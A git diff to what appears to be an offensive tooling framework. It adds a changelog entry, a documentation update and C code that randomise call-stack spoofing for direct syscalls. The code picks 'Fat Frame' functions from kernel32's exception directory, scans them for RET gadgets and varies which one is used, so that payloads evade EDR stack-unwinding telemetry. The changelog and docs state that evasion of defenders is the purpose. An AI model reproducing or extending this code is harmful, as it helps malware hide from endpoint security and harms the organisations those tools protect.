diff --git a/CHANGELOG.md b/CHANGELOG.md index 12f1640..e790127 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,16 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), --- +## [1.3.1] - 2026-07-07 + +OpSec Patch release addressing deterministic telemetry in stack spoofing. + +### Security & OpSec +- **Fat Frame Entropy:** Implemented a pseudo-randomizer in `snd_syscall_find_spoof_scan` to prevent deterministic stack spoofing telemetry. The engine now uses the target function's SSN hash, a static counter, and the ASLR-dependent memory addresses of the `ntdll` base and the entry struct to randomize the selection of Fat Frames. This ensures payloads do not spoof the exact same `kernel32.dll` function on every execution, shifting the stack trace dynamically. +- **Fat Frame Hardening:** Added strict bounds checking to the spoof scanner. It now rejects functions that use a Frame Register (which could break `RtlVirtualUnwind` offset calculations) and caps the selected `frame_size` to a maximum of 240 bytes to ensure it cannot overflow the pre-allocated local stack space inside the MASM stub. + +--- + ## [1.3.0] - 2026-07-06 Fourth major release. The framework introduces Call Stack Spoofing to defeat EDR virtual unwinding telemetry. diff --git a/docs/domains/primitives/syscalls/engines.md b/docs/domains/primitives/syscalls/engines.md index cd5807e..0c35536 100644 --- a/docs/domains/primitives/syscalls/engines.md +++ b/docs/domains/primitives/syscalls/engines.md @@ -142,9 +142,10 @@ To prevent frame desynchronization during stack unwinding (where the EDR's `RtlV 1. Resolve the natively loaded `kernel32.dll` via PEB. 2. Manually parse the **Exception Directory** (`.pdata`) of `kernel32.dll` (avoiding native APIs like `RtlLookupFunctionEntry` for stealth). 3. Iterate through `RUNTIME_FUNCTION` entries and parse their `UNWIND_INFO` structures to calculate the total stack space allocated by each function. -4. Find a function that allocates at least **120 bytes** (a "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments. -5. Scan the body of the Fat Frame function for a `0xC3` (`RET`) instruction. -6. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset. +4. Find a function that allocates at least **120 bytes** and at most **240 bytes** (a capped "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments without risking stack overflow. +5. **Entropy Randomization:** To avoid creating a deterministic telemetry pattern (where every syscall spoofs the exact same function), the scanner uses an internal pseudo-randomizer seeded by the target function's hash, a static counter, and the memory addresses of the `ntdll` base and the entry struct. This guarantees it will skip a randomized number of valid Fat Frames before settling on one. +6. Scan the body of the chosen Fat Frame function for a `0xC3` (`RET`) instruction. +7. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset. ### Algorithm (x86) diff --git a/src/primitives/execution/syscalls/spoof_scan.c b/src/primitives/execution/syscalls/spoof_scan.c index 5c73f78..658f3d7 100644 --- a/src/primitives/execution/syscalls/spoof_scan.c +++ b/src/primitives/execution/syscalls/spoof_scan.c @@ -33,6 +33,15 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) { PRUNTIME_FUNCTION pdata = (PRUNTIME_FUNCTION)((ULONG_PTR)kernel32 + pdata_rva); DWORD pdata_count = pdata_size / sizeof(RUNTIME_FUNCTION); + // Simple randomizer using a static counter + hash + memory addresses for entropy + static ULONG call_count = 0; + ULONG entropy = (ULONG)((ULONG_PTR)kernel32 & 0xFFFFFFFF) ^ (ULONG)((ULONG_PTR)entry & 0xFFFFFFFF); + ULONG skip_count = (entry->dwHash + ++call_count + entropy) % 15; // Skip up to 14 fat frames + ULONG current_fat_frames = 0; + + PVOID fallback_gadget = NULL; + DWORD fallback_frame_size = 0; + for (DWORD i = 0; i < pdata_count; i++) { PRUNTIME_FUNCTION func = &pdata[i]; @@ -48,6 +57,11 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) { continue; } + BYTE frameReg = unwind_info[3] & 0x0F; + if (frameReg != 0) { + continue; // Reject functions that use a frame pointer to prevent RtlVirtualUnwind desync + } + BYTE countOfCodes = unwind_info[2]; PBYTE codes = unwind_info + 4; @@ -99,7 +113,7 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) { } } - if (frame_size >= 120) { + if (frame_size >= 120 && frame_size <= 240) { PBYTE func_body = (PBYTE)((ULONG_PTR)kernel32 + func->BeginAddress); DWORD func_size = func->EndAddress - func->BeginAddress; @@ -111,10 +125,26 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) { } } - if (gadget) + if (gadget) { + if (!fallback_gadget) { + fallback_gadget = gadget; + fallback_frame_size = frame_size; + } + + if (current_fat_frames < skip_count) { + current_fat_frames++; + gadget = NULL; // Keep searching for the next one + continue; + } break; + } } } + + if (!gadget && fallback_gadget) { + gadget = fallback_gadget; + entry->dwSpoofFrameSize = fallback_frame_size; + } } #else FARPROC exec_addr = NULL;